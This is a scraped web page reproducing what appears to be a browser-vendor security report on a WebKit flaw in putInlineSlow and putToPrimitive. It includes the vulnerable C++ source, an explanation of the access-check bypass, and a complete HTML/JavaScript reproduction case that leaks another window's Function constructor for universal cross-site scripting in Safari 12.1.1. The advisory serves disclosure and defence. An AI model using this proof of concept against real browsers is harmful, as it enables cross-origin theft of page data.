扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 |
VULNERABILITY DETAILS </code><code> bool JSObject::putInlineSlow(ExecState* exec, PropertyName propertyName, JSValue value, PutPropertySlot& slot) { ASSERT(!isThisValueAltered(slot, this)); VM& vm = exec->vm(); auto scope = DECLARE_THROW_SCOPE(vm); JSObject* obj = this; for (;;) { unsigned attributes; PropertyOffset offset = obj->structure(vm)->get(vm, propertyName, attributes); // ***1*** if (isValidOffset(offset)) { if (attributes & PropertyAttribute::ReadOnly) { ASSERT(this->prototypeChainMayInterceptStoreTo(vm, propertyName) || obj == this); return typeError(exec, scope, slot.isStrictMode(), ReadonlyPropertyWriteError); } JSValue gs = obj->getDirect(offset); if (gs.isGetterSetter()) { // We need to make sure that we decide to cache this property before we potentially execute aribitrary JS. if (!structure(vm)->isDictionary()) slot.setCacheableSetter(obj, offset); bool result = callSetter(exec, slot.thisValue(), gs, value, slot.isStrictMode() ? StrictMode : NotStrictMode); // ***2*** RETURN_IF_EXCEPTION(scope, false); return result; } if (gs.isCustomGetterSetter()) { // We need to make sure that we decide to cache this property before we potentially execute aribitrary JS. if (attributes & PropertyAttribute::CustomAccessor) slot.setCustomAccessor(obj, jsCast<CustomGetterSetter*>(gs.asCell())->setter()); else slot.setCustomValue(obj, jsCast<CustomGetterSetter*>(gs.asCell())->setter()); bool result = callCustomSetter(exec, gs, attributes & PropertyAttribute::CustomAccessor, obj, slot.thisValue(), value); RETURN_IF_EXCEPTION(scope, false); return result; } ASSERT(!(attributes & PropertyAttribute::Accessor)); // If there's an existing property on the object or one of its // prototypes it should be replaced, so break here. break; } [...] JSValue prototype = obj->getPrototype(vm, exec); RETURN_IF_EXCEPTION(scope, false); if (prototype.isNull()) break; obj = asObject(prototype); } </code><code> This is an extension of https://bugs.chromium.org/p/project-zero/issues/detail?id=1240. putInlineSlow</code> and <code>putToPrimitive</code> now call the access-checked <code>getPrototype</code> method instead of getPrototypeDirect</code>. However, they still use <code>Structure::get</code> directly[1], which bypasses access checks implemented in functions that override <code>JSObject::put</code>. Thus, an attacker can put a cross-origin object into the prototype chain of a regular object and trigger the invocation of a cross-origin setter. If the setter raises an exception while processing the passed value, it's possible to leak the exception object and gain access to, e.g., another window's function constructor. Since this issue is only exploitable when a victim page defines a custom accessor property on the location</code> object, its practical impact is minimal. VERSION WebKit revision 247430 Safari version 12.1.1 (14607.2.6.1.1) REPRODUCTION CASE <body> <script> frame = document.body.appendChild(document.createElement('iframe')); frame.src = <code>data:text/html, <h1>secret data</h1> <script> location.__defineSetter__('foo', function(value) { alert('Received value: ' + value); }); </s</code> + <code>cript></code>; function turnLeakedExceptionIntoUXSS(object) { try { object.foo = {toString: function() { return {} } }; } catch (e) { let func = e.constructor.constructor; func('alert(document.body.innerHTML)')(); } } frame.onload = () => { // putInlineSlow turnLeakedExceptionIntoUXSS({__proto__: frame.contentWindow.location}); // putToPrimitive num = 1337; num.__proto__.__proto__ = frame.contentWindow.location; turnLeakedExceptionIntoUXSS(num); } </script> </body> |
体验盒子
